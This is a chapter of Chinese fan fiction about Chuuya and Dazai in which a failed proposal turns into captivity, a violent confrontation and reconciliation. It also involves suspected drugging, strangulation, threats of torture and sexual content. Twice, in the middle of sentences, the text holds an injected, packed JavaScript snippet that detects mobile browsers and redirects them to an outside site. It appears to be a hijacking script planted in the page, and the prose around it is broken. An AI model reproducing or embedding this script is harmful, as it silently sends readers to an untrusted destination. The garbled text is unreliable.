在那枚戒指的光晕里,中也笑着说:“看见了吗,这就是老子的决定。你这混蛋早就知道了吧,不想接受我的求婚所以偷偷拿走戒指,还装模作样要陪我找,找个屁!” 其实中也并不确定是不是太宰拿走了戒指,不过现在看对方神色也能猜个八九不离十。 果然是这混蛋干的。 中也甚至怀疑今晚这同电话也是早有预谋,为了让这次精心准备的求婚失败得更彻底。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996313|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被别人这么愚弄,中也早一拳过去送对方上西天,但戏弄他的人是太宰,是他认定的伴侣,再动用暴力手段就跟他强迫太宰治接受似的,中也只好慢慢消化那些怒气。 中也最后看了一眼自己定做的戒指,当时很喜欢,现在再看似乎也就那样,太细太土,不够引人注目。 中也操纵着重力,把自己的那枚戒指扔进不远处的垃圾桶,压着脾气对太宰说:“你不愿意我又不会强迫你,不喜欢就拒绝,你有这个资格。我能把戒指扔了,你能不撒谎吗?” 太宰没说话,还是一副将哭未哭的神情,这种样子中也在他小时候见的多了,十分不以为意,毕竟太宰从小就靠着这种手段骗得中也心软。 静得越久,气氛越奇怪,中也戴上手套,整理好围巾,拂去身上的雪,平静地说:“行了,你自己想一想,我就不在这打扰你了。” 风雪很大,天色又暗,干部大人的身影渐渐变成一个小点,消失在视线范围内。 - 有家不能回,干部大人打了个电话询问部下救援情况,得到肯定答复后才放下心来。 中也慢悠悠在街边踱步,看着自己在雪上留下一步步脚印,心里默默想着太宰此时在干什么。 想到太宰,就难免想到这段关系的开始,是一个荒唐的夜晚。 那时候他刚明白自己的心思,还没来得及思考以后该怎么和太宰相处,自己就先干了件惊天动地的大事,导致后来一切都乱了套。 夜里的横滨街头很安静,中也停住脚步,拨通了意大利研究所的电话。 他单刀直入道:“我的那个血液分析记录还有吗,日期是六月二十号。” 与此同时,接到电话的负责人立马去调取记录,干部大人的命令一直享有最高优先级,相关资料保存完好,没一会,负责人就把半年前的化验结果再次发送给中也。 收到邮件后,中也干脆蹲在路边仔细查看,当目光扫到那行判定“血液中含有迷药成分”时,中也禁不住冷笑出声。 怀疑被肯定,说不上来心里是什么感受。 当时他也怀疑过其实是太宰给他下药,不过那时候觉得既然一切已经发生,太宰没有抵触,那勉强可以算他们两情相悦,既然如此,那他就不会纠结过去的事情。 而现实是太宰根本没把这段关系放在心上,嘴上说着要中也决定,实际上拐弯抹角拒绝和中也建立更亲密的关系。 跟我谈恋爱耽误你跟美女殉情是不是? 中也蹲在地上,手肘放在膝盖处托着脸,越想越觉得太宰治这人实在太可恶了,嘴上说着以后绝对不会对他撒谎,结果谎话一个接一个没完没了。 简直是把他当狗耍。 中也腾一下从地上站起来,越想越觉得咽不下这口恶气。 他今天非把太宰治吊起来打一顿不可。 39.结局 回到家中时,屋里没开灯也没有丝毫属于人的活气,中也还以为太宰没在家,正要给他打个电话,暗处就有人声音温柔地呼唤他的名字。 “中也,你终于回来了吗?我在这里等你好久了。” 中也无端觉得后背一阵发凉,他干脆关上门,抱臂靠在哪里,嗤笑一声:“等我干嘛?让我回来听你发表什么高见吗?” “不是哦,我是有很重要的话要跟中也说。” “哦?”中也疑惑挑眉,静静等了一会,过了半天对方半个屁也没有放出来。 黑漆漆的屋子实在太奇怪,中也干脆开了灯,这才看清太宰治正端坐在沙发前,眼神直勾勾地盯着他,面前茶几上放了一个小雪人,因为天气寒冷屋里也没开地暖,所以□□到现在还没有融化。 雪人身上缠着绷带遮住左眼,一块黑色宝石做的眼睛闪耀着美丽光辉,身上是特意定制的黑色西装,往那一站活灵活现,就像是十三岁的太宰治。 十三岁的太宰治对什么都提不起兴趣,成天抱着那本《完全自杀手册》钻研。 那年冬天横滨也下了很大的雪,中也心说自己好歹算半个家长,干脆出去捏了个小雪人准备送给家里那位小朋友。 雪人捏好后,中也走到一楼书房那扇窗前,对着玻璃笃笃敲了两下。 紧闭的百叶窗被拉开,正在飘窗上靠着看书的少年抬起脸看着中也,乌眉沉目,神色恹恹,看见是他,终于露出一点笑:“哎呀,天气真好,看见了在雪地里撒欢的小狗呢!是要叫我陪你玩吗?” 中也一手支在窗台上,心里默念不跟小孩计较,伸手把那个做好的雪人递过去:“送你,让它陪你看书吧。绷带混蛋跟哑巴雪人,天生一对的好朋友,随你怎么说它都不会揍你。” 太宰撇撇嘴,表情很嫌弃,但还是老老实实捧在掌心,但雪毕竟只适合呆在温暖的地方,一碰到温热的掌心就开始融化。 看见那点雪化后淡淡的水渍,太宰心情低落,又把雪人递给中也,直言:“算了,这位‘哑巴’身板脆弱,太阳一出来就要化成水,就跟院里那些雪一样,一融化就会露出地下的烂泥。” 中也看见太宰沉思的样子,知道他心里肯定又在想什么“美好总是短暂”“存在没有意义”之类的问题,伸手揉了揉太宰的脑袋,惹得对方大叫“好凉”“白痴中也”之类毫无杀伤力的话。 中也暂时放过他,认真道:“雪确实会融化,但你也不能因此否定它存在的意义啊!啧,比如说雪化后的水会润泽你口中的烂泥,到了明年烂泥上会长出来草开出来花,还有一些看不到的生命。它们可不归你这个自大的家伙管!所以别随便否定存在的意义!” “而且,既然害怕雪人融化,你要做的难道不是想想办法,比如把它放进冰柜之类的?总要做点什么吧!” 回忆戛然而止,少年太宰的样子却已经印在中也脑海里挥之不去,和面前这个可怜巴巴看着他的身影重合。 本来决定打他一顿的中也突然下不去手了,毕竟是自己从小带到大的孩子,虽然犯了点错—— 不对,这次犯得可不是小错,不能太轻易原谅他! 而且,中也还没想好挑破窗户纸后该怎么和太宰治相处,上都上过了,再退回他理想的亲子关系显然不可能,好烦,好纠结。 中也就维持着纠结的神色,拧起的眉头一直没松开,思考的间隙,恍然发现太宰治在朝着自己这边走,脸色似乎不太好看。 他下意识抵触太宰的靠近,手不由自主放在门把手上,似乎下一秒就要破门而出。 太宰顿了一下,深深吸了一口气,才缓缓说:“什么意思,中也,很后悔回来吗?还是说连跟我说句话也不愿意?” 中也心说你简直就是放屁,我在这站了这么久你什么都不说,转过头来还要怪老子不愿意。 打又下不去手,骂两句又显得自己以大欺小很没风度,太多的事情没考虑好,但惹不起他还躲不起吗? 中也臭着脸拉开门准备再出去吹三小时风,又觉得这样灰溜溜的离开好像他怕了太宰治一样,偏过头强装镇定:“去干嘛是我的事,你用什么身份管?!看见你这混蛋的脸就烦不行吗!” 撂下这句话,中也伸手打开门,一仰头就能看见暴雪万顷,在狂风裹挟下扑到他的脸上,他的脚步顿住一秒,就感受到身后有人朝他扑过来。 一双手臂从背后紧紧勒住他,面前是冷风暴雪,身后是温暖怀抱。 “中也,我最讨厌你了。” 这话说的信誓旦旦,要不是抱着他的人在发抖,中也兴许就信了太宰治的鬼话,他正想回一句“那正好我也最讨厌你了”,却只觉得后颈传来丝丝凉意,接着就眼前一黑,一阵天旋地转。 落入一个怀抱。 - 尖锐刺鼻的冷铁气味钻入鼻尖,被困在椅子上的人皱起鼻尖,无意识挣扎起来,束缚住身体的锁链哗啦啦地响,唤醒了正在沉睡的中也。 昏迷前的记忆回笼,中也第一时间观察四周。 这地方昏黑而空旷,脚尖踩在地上发出碰撞声,看来地板是金属制成,唯一的光源是左侧墙壁上方型铁窗,看起来似乎是某处地下室或者研究所。 确定没有危险,中也这才来得及审视自己的情况,他正被人用铁链束缚住四肢,五花大绑捆在一把金属制椅子上。 铁链虽然粗,但捆得不紧,中也正要发动重力异能暴力拆除,一双冰凉的手突然蛇一样滑到他的肩上缠抱住他,下巴亲昵地蹭了蹭他的发顶,呢喃着说:“中也,你终于醒啦!我好开心。” “哟,终于出来了?”中也厌烦地一偏头躲开太宰,嘲讽道,“你就只会下药这种下三滥的手段吗?太宰治。” 太宰愣了一瞬,语气怪异又愉悦:“什么叫‘只’会,中也对我好像有些误解呢!” “误解个屁!”中也面无表情地说,“我身上的链子不是你绑的?还是说让我昏过去的药不是你下的?又或者说你十八岁那天上了我之后还把我当狗耍?太宰治,你倒是说说那件事是我误会你了,烂人一个有什么好狡辩的!” “烂人一个?哈哈哈哈哈,真有意思!”太宰治大笑起来,过了半天又装模作样擦了擦眼角笑出来的眼泪,“中也原来一直这么想我吗?怪不得我过了十八岁就迫不及待撵我走呢!可惜啊可惜,你失败了啦!中也,哪怕你恨我恨得要死,你这辈子也摆脱不了我。等待你的只有给我当乖狗这一条命运哦!” 说完这些话,太宰治手托着中也的下巴抬起他的脸,俯下身准备去吻那双充盈着明亮怒火的蓝眼睛。 近在咫尺时,中也突然叫了一声他的名字,然后非常失望地叹了一口气。 “太宰,我记得你刚来黑手党时,我教过你,心慈手软只会让你付出惨痛的代价。” 中也声音平静,缓缓道:“你要是想把我关起来,就该打断我的腿,折断我的胳膊,再用强电压捆绑椅子绑住我,只要我动一下就通电,那样我的肌肉就使不上劲,随便你怎么为所为欲。……可现在呢,你心慈手软到简直好笑,就想用这几根轻飘飘的链子困住我吗?真天真啊,这么多年了一点长进都没有。” 就算因为「人间失格」的存在用不了异能,这几根链子就想要困住中也还是太异想天开,他双手同时扯住背后一根链子,猛一用力,锁链就“咔哒”一声断开。 上半身能够自由活动后,中也轻而易举和太宰隔开一段细微的距离,在这几秒的空暇里,他发动异能,粗硬的锁链瞬间化为齑粉。 他从容起身,掸了一下大衣上的灰,极其挑衅地冲着太宰笑了一下,稍微活动了一下筋骨。 “这样才对嘛!不是很恨我,来决斗吧。” 太宰把手放在口袋里,神色看起来既不诧异也不震惊,似乎一切都在他的预料之内,往那一站就是天生的操心师,轻易就可以掌握在场所有生物的呼吸。 他轻轻开口,认真道:“没有哦,我没想把中也关起来,只是想找个安静的地方和中也好好说说话。中也不是告诉过我,‘对于不想发生的事,就要想办法做点什么’。” 似乎为了印证他的话,外面忽然传来呼啸风声,风把门推开一道小缝,外面下雪了,灯光映着雪色,沿着门的窄缝照亮暗室,将两个人的影子照在墙上。 地下室的门根本没有锁。 中也诧异一瞬,偏过头,两人的眼神在空气里交汇,一场无声的对峙,似乎想要看清对方心底的想法。 墙上的影子比主人诚实的多,正在缠绵地接吻。 “啧。”中也一时不知道该怎么评价,单手插兜,扭过头去朝着门口走,“搞什么嘛!不想跟我决斗就当你认输了。至于你要说什么,无非是一堆谎话而已,我不关心。” “不要走,中也!”太宰治声音听起来非常悲怆,像是包含着眼泪,“除非我死,不然我不会让中也离开我。” 背后传来利刃划开空气的声音,一把蝴蝶刀破空而来,中也伸手握住,不明白太宰治这是搞哪出。 “所以,杀了我吧,中也。” 又拿自己的命来赌他心软吗?这套把戏从小玩到大,真是一点新意都没有啊! 中也随手一挥,把搭在肩上的碍事大衣扔在地上,阴恻恻:“好啊,今天就满足你。” 话音刚落,中也就化身为一道闪电,飞起一脚朝着太宰治狠厉踹去,速度快得只看见残影。 太宰治身体几乎被这脚踹对折,身体浮在空中,狠狠砸向背后坚硬的墙面,又弹落在地上,狼狈地剧烈咳嗽起来。 皮鞋踩在金属地板上的嗒嗒声逐渐靠近,宛如王侯巡视领土,十分有压迫感。 “你就这点出息吗?” 太宰治只感到一阵阵耳鸣,中也的声音像是隔着云雾,他的额头和嘴角都有血迹留下,眼睛里面却全是兴奋和愉悦。 中也走到他跟前,轻轻松松就取下了刚才砌进墙面的匕首,然后单腿跪下,膝盖抵着他的裆,似有似无用力撵了一下,嗤笑:“硬了?” 随后,五指毫不留情用力掐住太宰的脖子,将他从地上提起来,逼迫太宰与他视线。 太宰脸色涨红,呼吸困难,汗水打湿额前黑发,他无力地蹬了两下腿,双手握住那只青筋暴起的小臂。 生命流逝在中也手中,他眼里只有中也那张冰凉美丽的脸。 凶巴巴的真漂亮啊!应该再染上情欲,汗水,白色的浊液,被他抵在地上,承受他凶狠的撞击,死死咬住嘴角不愿意泄出呻/吟,又在他攻势和亲吻下克制不住叫他的名字。 太宰眼神里流露出兴奋和挑衅,中也,如果你不杀了我,那我一定要这么对你。 匕首高高举起,他也舍不得闭上双眼—— 当啷一声,金石相撞,匕首以毫米之距插进进他脸颊边的墙上,寒意阵阵。 中也的脸骤然逼近,气势凌人,掐着他脖子的手稍微松开些,盯着他的眼睛逼问:“我问你,你为什么要把戒指藏起来?我不听谎话,也不会杀了你。……你不是最讨厌疼吗,那我就一根根剁掉你的手指,捏碎你的骨头,你知道我做得到。” 对太宰这种人来说,被人逼问要比主动剖析自己的内心简单的多,他甚至还有闲心帮中也整理散落的鬓发,姿态狼狈,神色从容。 “因为…不合适,对不起,我欺骗你……我害怕你。” 这番话说的隐晦又没有调理,但中也奇异地明白了他说的什么:因为觉得自己有事瞒着自己,害怕他发现了会对自己失望,所以不敢接受那枚戒指。 “你瞒着我的事,是你十八岁那天给我下药吗?” 太宰治摇摇头:“没有下药…但是…是我…引诱你。”说这话的时候,那只漂亮的鸢色眼睛含着笑,带着情\欲,侵略性的目光上下扫视中也,如有实质一样褪去中也衣衫,舔吻身躯,像一味剂量致死的春\药。 赤裸裸的勾引。 中也掰过他的下巴,嘴唇贴的很近,似乎要和他接一个缠绵的吻,太宰治屏住呼吸,静静等待。 但中也只是单纯的盯着他的眼睛看了很久,然后一把松开他,嫌脏似的拍拍手,嘲笑道:“装什么狐狸精,你明明心里很担心我会生气,会不理你,是这样吧!” 太宰没说是也没说不是,过长的黑发遮住眼睛,在半张脸上投下阴影,从心跳到呼吸都变得轻柔而缓慢,像是陷入沉眠。 谁都没再说话,死寂的气息像一把钝刀在身上磨,割断心脏割断神经,他有心想要说一些柔软动听的话,可坦白几乎已经耗尽了所有力气。 谎话总比真话容易说,但这一次,他宁愿欺骗世界,也不欺骗中也。 可这些事就像中也曾经说的那样,说了太久谎话的人最后会连自己都骗进去,这个世界上再也没有人能分辨出他是虚情假意还是真心实意,包括他自己。 唯有心脏的感受很真实,因为得不到爱的滋养一直痛苦着,可这种话到底要怎么说,怎么才能向中也知道他的纠结与渴望,痛苦和欢愉。 语言单薄又充满欺诈性,世界上绝大多数的人都在词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012257|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不达意的漩涡里垂死挣扎。 或许有一个办法可以—— 太宰死死握住中也的手,贴在自己胸口上。让他感受自己那颗尚在跳动的心脏,半是疯狂半是哀求:“中也,现在你的手离我的心脏只有几厘米哦!感受到了吗,我的心还在跳动,请你把它挖出来吧。” 他越说越疯狂,握着中也的力气越大,恨不得直接撕开包裹的肌肉,捣烂坚硬的骨骼,取出柔软的心脏送给此生唯一的心上人。 “我把它送给你啦!中也想扔就扔,愿意送人也可以。——当然,就是吃了也没关系的啦!” 中也感觉自己手腕都要断了,他皱着眉低骂一句“神经病”,使劲扯了会居然没有扯出来,气的要命,干脆掌心向前用力一拉一掼把太宰治摁在地上,趁着对方无措的间隙把自己的手抽出来。 “太宰治!!!……我还没那么恨你。” 太宰一僵,才发觉自己全身都疼,忽然想起来中也刚才揍他下了死手,连半句安慰都没有给他,肾上腺素褪去后,□□的再也痛难以忽视。 中也为什么不恨他,中也应该一听见他的声音就知道我是谁,一看见他的身影就全身气血上涌,刀尖永远对着他,时时刻刻都想要杀了他,就像他对中也那样。 除非—— 中也一点也不在乎他了。 鸢色眼睛因为恐惧和痛苦而睁大,一眨不眨,直到眼睛酸疼,血丝蔓延,肌肉反射眨了一下眼。 “啪嗒——” 一滴眼泪毫无预兆落在地上。 有些人就是这样,话说出口比谁都狠,信誓旦旦斩钉截铁,自己为能接受一切后果,哪怕很痛苦。其实只是个连自己想要什么都不知道的笨小孩。 不然为什么说着要恨,要杀了对方,要吞噬咀嚼彼此的血肉,可刚开始针锋相对,对方眼神冷酷一点,表现出一点不在意,就又要痛苦地掉眼泪。 四周很黑,只有那扇开了一条缝的铁门是明亮的,但难以照明暗室,拼命压抑的呜咽还是顺着嘴角小声泄出来。 委屈得要命又故作坚强,其实只要中也再说一句重话,他的精神就会彻底崩溃,身体自我防备机制发动,让他迫不及待想要逃离现场。 哪里都行哪里都好,不要在中也的目光下。 太宰撑起身体想要狼狈逃窜,中也反应比他迅速,一把扯着他的胳膊,给了他一个拥抱。 脸颊贴上胸膛,泪水洇进衬衣,与之传来的还有中也的心跳,一下又一下,很熟悉。 这样的心跳频率他听了很多年,像是有瘾一样戒不掉。 中也说话了,胸腔发出嗡鸣,他看不见中也的脸,但对方声音颤抖又清晰: “太宰,你是想要我恨你讨厌你吗?!我不会让你如愿,我不会恨你。我愿意和你接吻,欢爱,待在一起,没有一件是因为我恨你才要做的。我做这些……” 太宰微微瞪大眼睛,下意识止住呼吸,忽然整个世界都万籁俱寂,只有中也的声音能传进耳膜。 对方很难为情,但还是说了:“我做这些……是因为我爱你。就像你爱我那样。” 太宰被烫到一样大叫:“我才不爱你!” 叫完又顿住,似乎终于知道这些话不合时宜,默默伸手抱紧中也,生怕对方推开他,然后小声问:“你刚才还说我是个烂人,是个烂人你也要…吗?” 拧巴到了一种出神入化的地步,就算这种时候“爱”这个字也说不出口。 中也被他逗笑了,没想到有朝一日自己能在“脸皮”这个方面赢过太宰,对方害羞,他反倒开始坦然:“什么啊,我可不是因为你是个烂人才爱你的!” “咦?难道中也是因为我的优点才…我,快告诉我是什么优点,我要听我要听!” 果然太宰治这人不能以常人论,仅仅过了半分钟就能轻易完成从悲痛到嘚瑟的切换,中也觉得自己再夸两句太宰尾巴就能翘到天上去。 中也板着脸:“你只有一大堆让我讨厌的缺点。” “我不听我不听!中也快收回去这句话!” “……只有一个优点还行。” “什么?” “你是太宰治。” 说到这里,中也也豁然开朗:为什么会爱,因为他是太宰治。 一起成长的,一起分享过喜怒的,有许多除了彼此谁也不知道的秘密,互相强硬地挤进对方寂寥的世界。 于是生锈的梦有了希望的光,孤独的行星听到了来自世外的传音,爱悄然萌芽,又在谁也不知道的时刻长成参天巨木,荫蔽你我。 太宰治抱着他很轻很轻笑了一声,问出困在心里很多天的疑惑:“中也的意思是,你向我求婚,既不是因为首领的命令,也不是因为伴侣的责任,仅仅因为我是太宰治?” 中也听到“首领的命令”时,眉头都拧成一团,真不知道太宰为什么会有这么离奇的想法。 “你脑子里是装了一整个横滨的海吗?我要是早知道你这么想,就早点把你吊起来打一顿了!” 太宰治很开心地“哇哦”了一声。 看着太宰的脸,他忽然想起来自己定做了很久的那对戒指,被他一怒之下扔到了垃圾桶里。 堂堂干部大人难道要去翻垃圾桶了吗? 中也认命地叹了一口气,拉着太宰从地上站起来,不过太宰好像伤的有点重,刚站起来又单膝着地“咚”地一声在中也面前跪下。 太宰十分虚弱地叫了一声中也,把中也吓了一大跳,着急问:“怎么了,太宰!没事吧?感觉还好吗?” “可能是中也下手太重了,感觉好晕,呼吸都很困难。” “什么啊!我明明有收着力气啊!” 中也非常着急,想把太宰抱起来去医院看看,对方脸上血迹斑驳,唇色苍白,呼吸微弱,心跳也渐渐缓慢下去。 然后停止跳动。 似乎有一阵冷风从两人之间卷过,带去所有生机。 中也大脑空白一秒,眼泪滚落之前,先看见了一只明亮如满月的眼睛。 十秒前心脏停止跳动的某人缓缓从口袋里掏出一枚戒指,就这单膝跪地的姿势,非常深情地看着中也:“虽然现在我们看起来都有点狼狈,但我等不及了,中也。” 中也反手给了他一巴掌,轻的像抚摸,打完中也自己先''噗嗤''一声笑出来,无语道:“干嘛啊,这戒指是我扔的那只吧!你要向我求婚?” “不是。”太宰摇摇头,吸了一口气,无比缓慢又无比坚定地说:“我要向您求爱。”